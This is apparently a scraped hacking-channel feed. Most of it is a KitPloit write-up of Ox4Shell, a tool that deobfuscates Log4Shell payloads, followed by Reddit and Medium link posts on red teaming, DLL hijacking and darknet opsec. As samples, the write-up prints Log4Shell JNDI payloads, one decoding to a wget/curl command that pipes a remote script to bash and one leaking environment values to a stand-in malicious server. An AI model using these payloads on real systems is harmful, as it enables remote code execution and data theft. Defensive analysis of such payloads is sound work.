KitPloit - PenTest Tools!
Ox4Shell - Deobfuscate Log4Shell Payloads With Ease

https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjf7el7e-9kBVnwgA-nsKn4pQf0JVpKCdwuQWDJ8rQS2nThfgVD-x4ebM_ACSfk-FYMUmK6gmgRU8tT8Q3wY644nQ1TMxB0YnEIcmaCIL2yfzLc_dd0vjQnHu8zpzldJTnN63jA2QAPxgYceyrHQzGtk_r92o5pxlG-z48Yi3p_MDZqT9wnXEdePb1H/w640-h274/Ox4Shell.png Deobfuscate Log4Shell payloads with ease. DescriptionSince the release of the Log4Shell vulnerability (CVE-2021-44228), many tools were created to obfuscate Log4Shell payloads, making the lives of security engineers a nightmare.
This tool intends to unravel the true contents of obfuscated Log4Shell payloads.

For example, consider the following obfuscated payload: ${zrch-Q(NGyN-yLkV:-}${j${sm:Eq9QDZ8-xEv54:-ndi}${GLX-MZK13n78y:GW2pQ:-:l}${ckX:2@BH[)]Tmw:a(:-da}${W(d:KSR)ky3:bv78UX2R-5MV:-p:/}/1.${)U:W9y=N:-}${i9yX1[:Z[Ve2=IkT=Z-96:-1.1}${[W*W:w@q.tjyo@-vL7thi26dIeB-HxjP:-.1}:38${Mh:n341x.Xl2L-8rHEeTW*=-lTNkvo:-90/}${sx3-9GTRv:-Cal}c$c${HR-ewA.mQ:g6@jJ:-z}3z${uY)u:7S2)P4ihH:M_S8fanL@AeX-PrW:-]}${S5D4[:qXhUBruo-QMr$1Bd-.=BmV:-}${_wjS:BIY0s:-Y_}p${SBKv-d9$5:-}Wx${Im:ajtV:-}AoL${=6wx-_HRvJK:-P}W${cR.1-lt3$R6R]x7-LomGH90)gAZ:NmYJx:-}h} After running Ox4Shell, it would transform into an intuitive and readable form: ${jndi:ldap://1.1.1.1:3890/Calc$cz3z]Y_pWxAoLPWh} This tool also aids to identify and decode base64 commands For example, consider the following obfuscated payload: ${jndi:ldap://1.1.1.1:1389/Basic/Command/Base64/KHdnZXQgLU8gLSBodHRwOi8vMTg1LjI1MC4xNDguMTU3OjgwMDUvYWNjfHxjdXJsIC1vIC0gaHR0cDovLzE4NS4yNTAuMTQ4LjE1Nzo4MDA1L2FjYyl8L2Jpbi9iYXNoIA==} After running Ox4Shell, the tool reveals the attacker’s intentions: ${jndi:ldap://1.1.1.1:1389/Basic/(wget -O - http://185.250.148.157:8005/acc||curl -o - http://185.250.148.157:8005/acc)|/bin/bash We recommend running Ox4Shellwith a provided file (-f) rather than an inline payload (-p), because certain shell environments will escape important characters, therefore will yield inaccurate results. UsageTo run the tool simply: ~/Ox4Shell » python ox4shell.py --help
usage: ox4shell [-h] [-d] [-m MOCK] [--max-depth MAX_DEPTH] [--decode-base64] (-p PAYLOAD | -f FILE)

____ _ _ _____ _ _ _
/ __ \ | || | / ____| | | | |
| | | |_ _| || || (___ | |__ ___| | |
| | | \ \/ /__ _\___ \| '_ \ / _ \ | |
| |__| |> < | | ____) | | | | __/ | |
\____//_/\_\ |_||_____/|_| |_|\___|_|_|

Ox4Shell - Deobfuscate Log4Shell payloads with ease.
Created by https://oxeye.io

General:
-h, --help Show this help message and exit
-d, --debug Enable debug mode (default: False)
-m MOCK, --mock MOCK The location of the mock data JSON file that replaces certain values in the payload (default: mock.json)
--max-depth MAX_DEPTH
The ma ximum number of iteration to perform on a given payload (default: 150)
--decode-base64 Payloads containing base64 will be decoded (default: False)

Targets:
Choose which target payloads to run Ox4Shell on

-p PAYLOAD, --payload PAYLOAD
A single payload to deobfuscate, make sure to escape '$' signs (default: None)
-f FILE, --file FILE A file containing payloads delimited by newline (default: None) Mock DataThe Log4j library has a few unique lookup functions, which allow users to look up environment variables, runtime information on the Java process, and so forth. This capability grants threat actors the ability to probe for specific information that can uniquely identify the compromised machine they targeted.

Ox4Shell uses the mock.jsonfile to insert common values into certain lookup function, for example, if the payload contains the value ${env:HOME}, we can replace it with a custom mock value.

The default set of mock data provided is: [...]

___________________________
@hacking_Attack
@Hacking_Video

{
"hostname": "ip-127.0.0.1",
"env": {
"aws_profile": "staging",
"user": "ubuntu",
"pwd": "/opt/",
"path": "/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin"
},
"sys": {
"java.version": "16.0.2",
"user.name": "ubuntu"
},
"java": {
"version": "Java version 16.0.2",
"runtime": "OpenJDK Runtime Environment (build 1.8.0_181-b13) from Oracle Corporation",
"vm": "OpenJDK 64-Bit Server VM (build 25.181-b13, mixed mode)",
"os": "Linux 5.10.47-linuxkit unknown, architecture: amd64-64",
"locale": "default locale: en_US, platform encoding: UTF-8",
"hw": "processors: 1, architecture: amd64-64"
}
} As an example, we can deobfuscate the following payload using the Ox4Shell's mocking capability: ~/Ox4Shell >> python ox4shell.py -p "\${jndi:ldap://\${sys:java.version}.\${env:AWS_PROFILE}.malicious.server/a}"
${jndi:ldap://16.0.2.staging.malicious.server/a}Authors* Daniel Abeles
* Ron Vider LicenseThe source code for the project is licensed under the MIT license, which you can find in the LICENSE file. Download Ox4Shell

___________________________
@hacking_Attack
@Hacking_Video

Windows PrivEsc — Hijacking DLLs
https://www.reddit.com/r/redteamsec/comments/wwlq77/windows_privesc_hijacking_dlls/

submitted by /u/Clement_Tino (https://www.reddit.com/user/Clement_Tino)
[link] (https://medium.com/@tinopreter/windows-privilege-escalation-2-hijacking-dlls-28505b68a978) [comments] (https://www.reddit.com/r/redteamsec/comments/wwlq77/windows_privesc_hijacking_dlls/)

___________________________
@hacking_Attack
@Hacking_Video

Join a Red Team?
https://www.reddit.com/r/redteamsec/comments/wwo5si/join_a_red_team/

All, Not sure if this is the right place for this but I was reaching out as I am continuing on my journey to pivot to Pen Testing, I'm looking to get together with a group to grow and learn with! ​ Does anyone have a team their looking to add another new person onto? Doesn't need to be anything serious but even a social group that meets to do bug bounties, RE, etc. would be awesome! submitted by /u/schemaadmin (https://www.reddit.com/user/schemaadmin)
[link] (https://www.reddit.com/r/redteamsec/comments/wwo5si/join_a_red_team/) [comments] (https://www.reddit.com/r/redteamsec/comments/wwo5si/join_a_red_team/)

___________________________
@hacking_Attack
@Hacking_Video

Hunting for emerging command-and-control frameworks
https://www.reddit.com/r/redteamsec/comments/wwo865/hunting_for_emerging_commandandcontrol_frameworks/

submitted by /u/SCI_Rusher (https://www.reddit.com/user/SCI_Rusher)
[link] (https://aka.ms/SilverLiningHunting) [comments] (https://www.reddit.com/r/redteamsec/comments/wwo865/hunting_for_emerging_commandandcontrol_frameworks/)

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Bug Bounty Hunting tools

I'm going to start bug bounty hunting, and I'm a beginner.Got any good and helpful tools out there for free? Appreciated and thank you

submitted by /u/Inevitable-Mall-8415
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Gaming on School Wifi

As the title suggests I would like to be able to play games like Destiny 2 or League while I am on school wifi. I am a permanent substitute teacher and I have 2 hours free time during my every day schedule. I have tried to play in the past but of course get the error code for no internet connection reaching the servers. Any Idea on a way to work around this?

submitted by /u/richiesum88
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Have a look at this account lol

Does using this count as identity theft?

submitted by /u/MyPasswordIsBanana24
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Tor: Darknet Opsec By a Veteran Darknet Vendor & the Hackers Mentality by Sam Bent aka DoingFedTime (FULL VIDEO)

submitted by /u/reservesteel9
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Why I love my soft-modded 3ds

https://external-preview.redd.it/na2bqA5DVXTSddiNZKcM8Lo55rMoaUa5G1xvF8of8B4.jpg?width=320&crop=smart&auto=webp&s=32f1aea9f015e3ce286f72739da5a0ce306fbbd3 submitted by /u/Capnecc
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
[PT] CyberHeroes — TryHackMe Writeups (Passo a Passo)

https://cdn-images-1.medium.com/max/600/0*IY6DpoyoGkPXPVEO.png
TryHackMe: https://tryhackme.com/room/cyberheroes

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Investigadores advierten sobre ataque AiTM dirigido a usuarios de Google G-Suite Enterprise

https://cdn-images-1.medium.com/max/1673/0*9ru9G2NqnhXvh5kF
Los actores de amenazas detrás de una campaña de phishing a gran escala adversary-in-the-middle (AiTM) dirigida a los usuarios…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
My road to eWPT and eWPTX

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
What’s the first exploit you found on your own that you’re able to post on Reddit?

Just for fun! I’m in college now for software engineering, I’ve used this subreddit to ask questions and learn for my studies/personal interest

submitted by /u/yung-sancho
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Future of Hacking

In 90's it was easy even as a kid to hack organizations like NASA and NSA, due to low awareness of cybersecurity and no implementations of security measures. In the recent years, I think that situation has changed, and security in cyber world has evolved. (2FAs, encryption, sandboxing etc.)

Do you think that, one day, we will get to the point where getting hacked would be nearly impossible due to hardened security implemented in life of average person as well as on enterprise level. Or could one day, getting hacked would be lowered to historical minimum?

submitted by /u/wannacry011
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

hacking: security in practice
Defcon 30: Tor - Darknet OpSec By a Veteran Darknet Vendor & the Hackers Mentality (full talk)

https://external-preview.redd.it/pmJIpjRwZq9AqTMaf-Bzkn2kaHs4rmaODZkCGBlde3s.jpg?width=320&crop=smart&auto=webp&s=994f7f142f3b821e662c9741d5fd0cb7d74f5080 submitted by /u/reservesteel9
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video